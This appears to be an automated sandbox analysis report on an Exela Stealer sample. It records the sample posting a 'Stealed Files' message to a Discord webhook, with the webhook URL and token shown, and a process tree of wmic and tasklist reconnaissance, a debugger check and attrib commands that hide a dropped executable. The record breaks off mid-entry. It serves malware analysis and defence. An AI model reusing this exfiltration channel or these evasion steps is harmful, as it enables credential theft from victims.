                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                                                    5192.168.2.749727162.159.128.2334435828C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    TimestampBytes transferredDirectionData
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC276OUTPOST /api/webhooks/1190831584878809150/43baozn0FAVEYDo8eF-XivB5Q0JQGjw6pMMgTYce34wCzvDF3gAtdM_zDzFY9WMg2T-- HTTP/1.1
                                                                                                                                                                                                                                    Host: discord.com
                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                    Accept-Encoding: gzip, deflate
                                                                                                                                                                                                                                    User-Agent: Python/3.11 aiohttp/3.9.1
                                                                                                                                                                                                                                    Content-Length: 521
                                                                                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                                                                                    2024-01-13 05:50:32 UTC521OUTData Raw: 7b 22 75 73 65 72 6e 61 6d 65 22 3a 20 22 45 78 65 6c 61 20 53 74 65 61 6c 65 72 22 2c 20 22 65 6d 62 65 64 73 22 3a 20 5b 7b 22 74 69 74 6c 65 22 3a 20 22 2a 2a 2a 45 78 65 6c 61 20 53 74 65 61 6c 65 72 2a 2a 2a 22 2c 20 22 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 20 22 2a 2a 2a 53 74 65 61 6c 65 64 20 46 69 6c 65 73 2a 2a 2a 22 2c 20 22 75 72 6c 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 22 2c 20 22 63 6f 6c 6f 72 22 3a 20 30 2c 20 22 66 6f 6f 74 65 72 22 3a 20 7b 22 74 65 78 74 22 3a 20 22 68 74 74 70 73 3a 2f 2f 74 2e 6d 65 2f 45 78 65 6c 61 53 74 65 61 6c 65 72 20 7c 20 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 71 75 69 63 61 78 64 2f 45 78 65 6c 61 2d 56 32 2e 30 22 7d 2c 20 22 74 68 75 6d 62
                                                                                                                                                                                                                                    Data Ascii: {"username": "Exela Stealer", "embeds": [{"title": "***Exela Stealer***", "description": "***Stealed Files***", "url": "https://t.me/ExelaStealer", "color": 0, "footer": {"text": "https://t.me/ExelaStealer | https://github.com/quicaxd/Exela-V2.0"}, "thumb
                                                                                                                                                                                                                                    2024-01-13 05:50:33 UTC1365INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                    Date: Sat, 13 Jan 2024 05:50:33 GMT
                                                                                                                                                                                                                                    Content-Type: application/json
                                                                                                                                                                                                                                    Content-Length: 45
                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                    set-cookie: __dcfduid=aa6eaf9ab1d711eeb2b12aa5ff753884; Expires=Thu, 11-Jan-2029 05:50:33 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
                                                                                                                                                                                                                                    strict-transport-security: max-age=31536000; includeSubDomains; preload
                                                                                                                                                                                                                                    x-ratelimit-bucket: 3d2712a9e4fe17cc9d3fed4a8e672e5f
                                                                                                                                                                                                                                    x-ratelimit-limit: 5
                                                                                                                                                                                                                                    x-ratelimit-remaining: 4
                                                                                                                                                                                                                                    x-ratelimit-reset: 1705125034
                                                                                                                                                                                                                                    x-ratelimit-reset-after: 1
                                                                                                                                                                                                                                    via: 1.1 google
                                                                                                                                                                                                                                    Alt-Svc: h3=":443"; ma=86400
                                                                                                                                                                                                                                    CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                                                    Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=6V2Wco0lmtpiRIp9Uv%2F26zoevI66cBr5OJ9ZNhqDtS3tcU4Is9nDgcDOPO%2ByQqXnRMpQtoEmzVFWpEWNX7VMLijiGTo0qmjG2bEqaM3Ue7C%2FrBksIA6pZEm9prb5"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                    NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                                                    X-Content-Type-Options: nosniff
                                                                                                                                                                                                                                    Content-Security-Policy: frame-ancestors 'none'; default-src 'none'
                                                                                                                                                                                                                                    Set-Cookie: __sdcfduid=aa6eaf9ab1d711eeb2b12aa5ff7538849237bb3b5d6d2c90007dbe710cf160c2fca5a7dda41e6a273e5df00fc07f4769; Expires=Thu, 11-Jan-2029 05:50:33 GMT; Max-Age=157680000; Secure; HttpOnly; Path=/; SameSite=Lax
                                                                                                                                                                                                                                    Set-Cookie: __cfruid=c9ed6a3e83268c7c3fb7dd8277627ee24c608a2f-1705125033; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=None
                                                                                                                                                                                                                                    2024-01-13 05:50:33 UTC205INData Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 37 47 77 55 42 38 45 61 57 57 67 31 48 62 32 36 31 7a 48 69 74 4b 64 33 32 79 43 6c 76 67 41 77 5a 63 71 55 53 30 48 43 53 44 6f 2d 31 37 30 35 31 32 35 30 33 33 30 36 36 2d 30 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 34 34 62 35 63 63 30 32 38 37 62 32 34 33 30 2d 49 41 44 0d 0a 0d 0a
                                                                                                                                                                                                                                    Data Ascii: Set-Cookie: _cfuvid=7GwUB8EaWWg1Hb261zHitKd32yClvgAwZcqUS0HCSDo-1705125033066-0-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 844b5cc0287b2430-IAD
                                                                                                                                                                                                                                    2024-01-13 05:50:33 UTC45INData Raw: 7b 22 6d 65 73 73 61 67 65 22 3a 20 22 55 6e 6b 6e 6f 77 6e 20 57 65 62 68 6f 6f 6b 22 2c 20 22 63 6f 64 65 22 3a 20 31 30 30 31 35 7d
                                                                                                                                                                                                                                    Data Ascii: {"message": "Unknown Webhook", "code": 10015}


                                                                                                                                                                                                                                    Statistics

                                                                                                                                                                                                                                    CPU Usage

                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                    Memory Usage

                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                    High Level Behavior Distribution

                                                                                                                                                                                                                                    Click to dive into process behavior distribution

                                                                                                                                                                                                                                    Behavior

                                                                                                                                                                                                                                    Click to jump to process

                                                                                                                                                                                                                                    System Behavior

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:0
                                                                                                                                                                                                                                    Start time:06:50:02
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    Imagebase:0x7ff6850b0000
                                                                                                                                                                                                                                    File size:16'417'517 bytes
                                                                                                                                                                                                                                    MD5 hash:4D70F444794DEDF45C2A6562D4EAED19
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:low
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:2
                                                                                                                                                                                                                                    Start time:06:50:03
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Users\user\Desktop\9afaXJv52z.exe
                                                                                                                                                                                                                                    Imagebase:0x7ff6850b0000
                                                                                                                                                                                                                                    File size:16'417'517 bytes
                                                                                                                                                                                                                                    MD5 hash:4D70F444794DEDF45C2A6562D4EAED19
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Yara matches:
                                                                                                                                                                                                                                    • Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                    • Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                    • Rule: JoeSecurity_ExelaStealer, Description: Yara detected Exela Stealer, Source: 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                    • Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                    Reputation:low
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:5
                                                                                                                                                                                                                                    Start time:06:50:05
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "ver"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:6
                                                                                                                                                                                                                                    Start time:06:50:05
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:11
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:12
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:13
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "wmic computersystem get Manufacturer"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:15
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "gdb --version"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:16
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:17
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "tasklist"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:18
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:19
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:high
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:20
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:wmic path win32_VideoController get name
                                                                                                                                                                                                                                    Imagebase:0x7ff68b4c0000
                                                                                                                                                                                                                                    File size:576'000 bytes
                                                                                                                                                                                                                                    MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Reputation:moderate
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:21
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:wmic computersystem get Manufacturer
                                                                                                                                                                                                                                    Imagebase:0x7ff68b4c0000
                                                                                                                                                                                                                                    File size:576'000 bytes
                                                                                                                                                                                                                                    MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:22
                                                                                                                                                                                                                                    Start time:06:50:06
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:tasklist
                                                                                                                                                                                                                                    Imagebase:0x7ff6b3960000
                                                                                                                                                                                                                                    File size:106'496 bytes
                                                                                                                                                                                                                                    MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:23
                                                                                                                                                                                                                                    Start time:06:50:08
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "wmic path Win32_ComputerSystem get Manufacturer"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:24
                                                                                                                                                                                                                                    Start time:06:50:08
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:25
                                                                                                                                                                                                                                    Start time:06:50:08
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:wmic path Win32_ComputerSystem get Manufacturer
                                                                                                                                                                                                                                    Imagebase:0x7ff68b4c0000
                                                                                                                                                                                                                                    File size:576'000 bytes
                                                                                                                                                                                                                                    MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:26
                                                                                                                                                                                                                                    Start time:06:50:09
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:27
                                                                                                                                                                                                                                    Start time:06:50:09
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "tasklist"
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:28
                                                                                                                                                                                                                                    Start time:06:50:09
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:29
                                                                                                                                                                                                                                    Start time:06:50:09
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:30
                                                                                                                                                                                                                                    Start time:06:50:09
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\wbem\WMIC.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:wmic csproduct get uuid
                                                                                                                                                                                                                                    Imagebase:0x7ff68b4c0000
                                                                                                                                                                                                                                    File size:576'000 bytes
                                                                                                                                                                                                                                    MD5 hash:C37F2F4F4B3CD128BDABCAEB2266A785
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:31
                                                                                                                                                                                                                                    Start time:06:50:09
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\tasklist.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:tasklist
                                                                                                                                                                                                                                    Imagebase:0x7ff6b3960000
                                                                                                                                                                                                                                    File size:106'496 bytes
                                                                                                                                                                                                                                    MD5 hash:D0A49A170E13D7F6AEBBEFED9DF88AAA
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:33
                                                                                                                                                                                                                                    Start time:06:50:11
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\cmd.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\cmd.exe /c "attrib +h +s "C:\Users\user\AppData\Local\ExelaUpdateService\Exela.exe""
                                                                                                                                                                                                                                    Imagebase:0x7ff746fb0000
                                                                                                                                                                                                                                    File size:289'792 bytes
                                                                                                                                                                                                                                    MD5 hash:8A2122E8162DBEF04694B9C3E0B6CDEE
                                                                                                                                                                                                                                    Has elevated privileges:true
                                                                                                                                                                                                                                    Has administrator privileges:true
                                                                                                                                                                                                                                    Programmed in:C, C++ or other language
                                                                                                                                                                                                                                    Has exited:true

                                                                                                                                                                                                                                    General

                                                                                                                                                                                                                                    Target ID:34
                                                                                                                                                                                                                                    Start time:06:50:11
                                                                                                                                                                                                                                    Start date:13/01/2024
                                                                                                                                                                                                                                    Path:C:\Windows\System32\conhost.exe
                                                                                                                                                                                                                                    Wow64 process (32bit):false
                                                                                                                                                                                                                                    Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                                                                                                                                    Imagebase:0x7ff75da10000
                                                                                                                                                                                                                                    File size:862'208 bytes
                                                                                                                                                                                                                                    MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                                                                                                                                                                    Has elevated privileges:true
